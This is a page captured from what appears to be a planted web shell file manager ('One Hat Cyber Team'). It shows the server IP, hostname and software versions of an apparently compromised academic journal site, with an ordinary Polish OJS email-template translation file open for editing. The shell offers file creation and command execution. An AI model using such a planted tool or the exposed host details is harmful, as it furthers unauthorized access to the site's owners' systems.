One Hat Cyber Team
Your IP :
216.73.216.115
Server IP :
194.44.31.54
Server :
Linux zen.imath.kiev.ua 4.18.0-553.77.1.el8_10.x86_64 #1 SMP Fri Oct 3 14:30:23 UTC 2025 x86_64
Server Software :
Apache/2.4.37 (Rocky Linux) OpenSSL/1.1.1k
PHP Version :
5.6.40
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
var
/
www
/
ojs-nosc
/
lib
/
pkp
/
locale
/
pl
/
Edit File:
emails.po
msgid "" msgstr "" "Project-Id-Version: \n" "Report-Msgid-Bugs-To: \n" "POT-Creation-Date: 2019-12-02T16:17:18-08:00\n" "PO-Revision-Date: 2024-04-20 00:03+0000\n" "Last-Translator: rl <biuro@fimagis.pl>\n" "Language-Team: Polish <http://translate.pkp.sfu.ca/projects/pkp-lib/emails/" "pl/>\n" "Language: pl\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "Plural-Forms: nplurals=3; plural=n==1 ? 0 : n%10>=2 && n%10<=4 && (n%100<10 " "|| n%100>=20) ? 1 : 2;\n" "X-Generator: Weblate 4.18.2\n" #, fuzzy msgid "emails.submissionAck.subject" msgstr "Potwierdzenie zgłoszenia tekstu" #, fuzzy msgid "emails.submissionAck.body" msgstr "" "{$recipientName}:<br />\n" "<br />\n" "dziękujemy za zgłoszenie tekstu "{$submissionTitle}" do " "opublikowania w czasopiśmie {$contextName}. Nasz system umożliwia " "sprawdzenie, na jakim etapie znajduje się nadesłany tekst:<br />\n" "<br />\n" "WWW tekstu: {$submissionUrl} <br />\n" "Nazwa użytkownika: {$recipientUsername}<br />\n" "<br />\n" "W razie dodatkowych pytań proszę o kontakt.<br />\n" "<br />\n" "Z wyrazami szacunku,\n" "{$contextSignature}" msgid "emails.submissionAck.description" msgstr "" #, fuzzy msgid "emails.reviewAck.subject" msgstr "Podziękowanie za wykonanie recenzji" #, fuzzy msgid "emails.reviewAck.body" msgstr "" "Szanowna Pani/ Szanowny Panie,<br />\n" "<br />\n" "dziękujemy za wykonanie recenzji tekstu "\"{$submissionTitle}\"", " "zgłoszonego do czasopisma \"{$contextName}\". Doceniamy Pani/ Pana wkład w " "budowanie jakości naszego czasopisma.\n" "Z wyrazami szacunku." msgid "emails.decision.notifyReviewers.subject" msgstr "" msgid "emails.decision.notifyReviewers.body" msgstr "" msgid "emails.decision.notifyOtherAuthors.subject" msgstr "" msgid "emails.decision.notifyOtherAuthors.body" msgstr "" #, fuzzy msgid "emails.editorDecisionSendToExternal.subject" msgstr "Decyzja redakcji" #, fuzzy msgid "emails.editorDecisionSendToExternal.body" msgstr "" "Szanowna Pani/ Szanowny Panie,<br />\n" "<br />\n" "podjęllśmy decyzję w sprawie tekstu \"{$submissionTitle}\" zgłoszonego do " "czasopisma \"{$contextName}\".<br />\n" "<br />\n" "Decyzja redaktora: Przesłane do recenzji<br />\n" "<br />\n" "WWW tekstu: {$submissionUrl}" #, fuzzy msgid "emails.editorDecisionSendToProduction.subject" msgstr "Decyzja redakcji" #, fuzzy msgid "emails.editorDecisionSendToProduction.body" msgstr "" "Szanowna Pani/ Szanowny Panie {$authors}<br />\n" "<br />\n" "korekta tekstu \"{$submissionTitle}\". Tekst został przekazany do składu." "<br />\n" "<br />\n" "WWW tekstu: {$submissionUrl}" #, fuzzy msgid "emails.editorDecisionRevisions.subject" msgstr "Decyzja redakcji" #, fuzzy msgid "emails.editorDecisionRevisions.body" msgstr "" "Szanowna Pani/ Szanowny Panie,<br />\n" "<br />\n" "podjęliśmy decyzję w sprawie tekstu \"{$submissionTitle}\", zgłoszonego do " "czasopisma \"{$contextName}\".<br />\n" "<br />\n" "Decyzja redakcji: Wymagane poprawki" #, fuzzy msgid "emails.editorDecisionResubmit.subject" msgstr "Decyzja redakcji" #, fuzzy msgid "emails.editorDecisionResubmit.body" msgstr "" "Szanowna Pani/ Szanowny Panie,<br />\n" "<br />\n" "podjęliśmy decyzję w sprawie tekstu „{$submissionTitle}”, zgłoszonego do " "czasopisma \"{$contextName}\".<br />\n" "<br />\n" "Decyzja redakcji: Wymagane poprawki i ponowna recenzja" #, fuzzy msgid "emails.editorDecisionDecline.subject" msgstr "Decyzja redakcji" #, fuzzy msgid "emails.editorDecisionDecline.body" msgstr "" "Szanowna Pani/ Szanowny Panie,<br />\n" "<br />\n" "podjęliśmy decyzję w sprawie tekstu \"{$submissionTitle}\", zgłoszonego do " "czasopisma \"{$contextName}\".<br />\n" "<br />\n" "Decyzja redakcji: Odrzucenie zgłoszonego tekstu" #, fuzzy msgid "emails.editorRecommendation.subject" msgstr "Rekomendacja redaktora" #, fuzzy msgid "emails.editorRecommendation.body" msgstr "" "{$editors}:<br />\n" "<br />\n" "przesyłam rekomendację w sprawie tekstu \"{$submissionTitle}\", zgłoszonego " "do czasopisma \"{$contextName}\": {$recommendation}" #, fuzzy msgid "emails.copyeditRequest.subject" msgstr "Prośba do korektora" #, fuzzy msgid "emails.copyeditRequest.body" msgstr "" "Szanowna Pani/ Szanowny Panie,<br />\n" "<br />\n" "proszę o wykonanie korekty tekstu "{$submissionTitle}", " "zgłoszonego do czasopisma {$contextName}.\n" "Proszę o postępowanie zgodnie z poniższymi krokami. <br />\n" "1. Kliknij na link do zgłoszonego tekstu znajdujący się poniżej.<br /> \n" "2. Pobierz pliki robocze i wykonaj korektę. Ustal zmiany z autorem używając " "narzędzi do dyskusji.<br />\n" "3. Zapisz poprawiony plik(i) i prześlij go do systemu.<br />\n" "4. Powiadom redaktora o ukończeniu korekty i przekazaniu tekstu do " "realizacji.<br />\n" "<br />\n" "WWW {$contextName}: {$contextUrl}<br />\n" "WWW tekstu: {$submissionUrl}<br />\n" "Nazwa użytkownika: {$recipientUsername}" msgid "emails.editorDecisionNewReviewRound.subject" msgstr "" msgid "emails.editorDecisionNewReviewRound.body" msgstr "" msgid "emails.editorDecisionRevertDecline.subject" msgstr "" msgid "emails.editorDecisionRevertDecline.body" msgstr "" msgid "emails.editorDecisionRevertInitialDecline.subject" msgstr "" msgid "emails.editorDecisionRevertInitialDecline.body" msgstr "" #, fuzzy msgid "emails.editorDecisionInitialDecline.subject" msgstr "Decyzja redakcji" #, fuzzy msgid "emails.editorDecisionInitialDecline.body" msgstr "" "\n" "\t\t\tSzanowna Pani/ Szanowny Panie,<br />\n" "<br />\n" "podjęliśmy decyzję w sprawie tekstu "{$submissionTitle}", " "zgłoszonego do czasopisma \"{$contextName}\".<br />\n" "<br />\n" "Decyzja redakcji: Odrzucenie zgłoszonego tekstu" msgid "emails.editorialReminder.subject" msgstr "" msgid "emails.editorialReminder.body" msgstr "" msgid "discussion.notification.description" msgstr "" msgid "emails.editorDecisionBackFromProduction.subject" msgstr "" msgid "emails.editorDecisionBackFromProduction.body" msgstr "" msgid "emails.editorDecisionBackFromCopyediting.subject" msgstr "" msgid "emails.editorDecisionBackFromCopyediting.body" msgstr "" msgid "emails.editorDecisionCancelReviewRound.subject" msgstr "" msgid "emails.editorDecisionCancelReviewRound.body" msgstr "" msgid "emails.reviewResendRequest.subject" msgstr "" msgid "emails.reviewResendRequest.body" msgstr "" msgid "emails.footer.unsubscribe" msgstr "" "<br><br>—<br><a href=\"{$unsubscribeUrl}\">Wypisz się</a> z otrzymywania " "maili od <a href=\"{$contextUrl}\">{$contextName}</a>." msgid "emails.footer.unsubscribe.discussion" msgstr "" "<br><br>—<br><a href=\"{$unsubscribeUrl}\">Wypisz się</a> z otrzymywania " "maili od <a href=\"{$contextUrl}\">{$contextName}</a>." msgid "emails.footer.unsubscribe.automated" msgstr "" "<br><br>—<br><a href=\"{$unsubscribeUrl}\">Wypisz się</a> z otrzymywania " "maili od <a href=\"{$contextUrl}\">{$contextName}</a>." msgid "emailTemplate.variable.unsubscribe" msgstr "" #, fuzzy msgid "emails.discussion.subject" msgstr "Wiadomość do czasopisma \"{$contextName}\"" msgid "emails.discussion.body" msgstr "Proszę o wpisanie wiadomości." msgid "emails.versionCreated.subject" msgstr "" msgid "emails.versionCreated.body" msgstr "" msgid "emails.reviewComplete.subject" msgstr "" msgid "emails.reviewComplete.body" msgstr "" msgid "emails.reviewEdit.subject" msgstr "" msgid "emails.reviewEdit.body" msgstr "" #, fuzzy msgid "emails.reviewConfirm.subject" msgstr "Zgoda na wykonanie recenzji" #, fuzzy msgid "emails.reviewConfirm.body" msgstr "" "Szanowni Państwo,<br />\n" "<br />\n" "zgadzam się na wykonanie recenzji tekstu \"{$submissionTitle}\", zgłoszonego " "do czasopisma \"{$contextName}\". Recenzja będzie gotowa do dnia " "{$reviewDueDate}.<br />\n" "<br />\n" "Z wyrazami szacunku,\n" "{$senderName}" msgid "emails.submissionSavedForLater.subject" msgstr "" msgid "emails.submissionSavedForLater.body" msgstr "" msgid "emails.submissionNeedsEditor.subject" msgstr "" msgid "emails.submissionNeedsEditor.body" msgstr "" msgid "emails.submissionAckNotUser.description" msgstr "" msgid "emails.submissionAckNotAuthor.subject" msgstr "Potwierdzenie zgłoszenia tekstu" #, fuzzy msgid "emails.submissionAckNotAuthor.body" msgstr "" "Szanowny Panie/Szanowna Pani,<br />\n" "<br />\n" "użytkownik o nazwie {$submitterName} zgłosił tekst \"{$submissionTitle}\" do " "czasopisma \"{$contextName}\". <br />\n" "<br />\n" "W razie dodatkowych pytań proszę o kontakt. Dziękujemy za zgłoszenie.<br />\n" "<br />\n" "{$contextSignature}" #, fuzzy #~ msgid "emails.reviewAck.description" #~ msgstr "" #~ "Ta wiadomość jest przesyłana przez redaktora prowadzącego do recenzenta. " #~ "Zawiera potwierdzenie otrzymania recenzji i podziękowanie za wykonaną " #~ "pracę." msgid "emails.orcidRequestAuthorAuthorization.description" msgstr "" "Mail jest wykorzystywany w przypadku prośby o dostęp czasopisma do profilu " "ORCID autora." msgid "emails.orcidRequestAuthorAuthorization.body" msgstr "" "Drogi/a {$recipientName},<br>\n" "<br>\n" "Zostałeś/aś oznaczona/y jako autor/współautor tekstu naukowego \"" "{$submissionTitle}\" w {$contextName}.\n" "<br>\n" "<br>\n" "Jako redakcja czasopsima zwracamy się w związku z tym prośbą o dopisanie " "Twojego ORCID ID do tego artykułu i jednocześnie chcemy dodać go do Twojej " "listy opublikowanych prac w ORCID.<br>\n" "Zaloguj się proszę w czasopiśmie używając swoich danych ORCID co sprawi, że " "autoryzacja pracy bedzie możliwa. Odwiedź strone projektu ORCID aby zapoznać " "się ze szczegółową instrukcją na ten temat.<br>\n" "<a href=\"{$authorOrcidUrl}\"><img id=\"orcid-id-logo\" src=\"https://orcid." "org/sites/default/files/images/orcid_16x16.png\" width='16' height='16' alt=" "\"ORCID iD icon\" style=\"display: block; margin: 0 .5em 0 0; padding: 0; " "float: left;\"/>Zarejestruj sie w ORCID lub autoryzuj swój tekst</a><br/>\n" "<br>\n" "<br>\n" "<a href=\"{$orcidAboutUrl}\">Więcej o ORCID w {$contextName}</a><br/>\n" "<br>\n" "W razie dalszych pytań prosimy o kontakt.<br>\n" "<br>\n" "{$principalContactSignature}\n" msgid "emails.orcidRequestAuthorAuthorization.subject" msgstr "Prośba do autora o dostęp do profilu ORCID" msgid "emails.orcidCollectAuthorId.description" msgstr "" "Mail jest używany do poinformowania autorów o konieczności autoryzacji ORCID." msgid "emails.orcidCollectAuthorId.subject" msgstr "Autoryzacja ORCID w tekście naukowym" msgid "emails.orcidCollectAuthorId.body" msgstr "" "Drogi/a {$recipientName},<br/>\n" "<br/>\n" "W czasopiśmie {$contextName} zostałeś/aś oznaczona jako autor/współautor. " "Aby potwierdzić ten fakt i połączyć tekst z Twoim kontem ORCID, proszę " "odwiedzić link zamieszczony poniżej.\n" "<br/>\n" "<a href=\"{$authorOrcidUrl}\"><img id=\"orcid-id-logo\" src=\"https://orcid." "org/sites/default/files/images/orcid_16x16.png\" width='16' height='16' alt=" "\"ORCID iD icon\" style=\"display: block; margin: 0 .5em 0 0; padding: 0; " "float: left;\"/>Zarejestruj się lub połącz tekst ze swoim kontem ORCID</a><" "br/>\n" "<br/>\n" "<br>\n" "<a href=\"{$orcidAboutUrl}\">Więcej o ORCID w {$contextName}</a><br/>\n" "<br/>\n" "W razie dodatkowych pytań proszę o kontakt:<br/>\n" "<br/>\n" "{$principalContactSignature}\n"
Simpan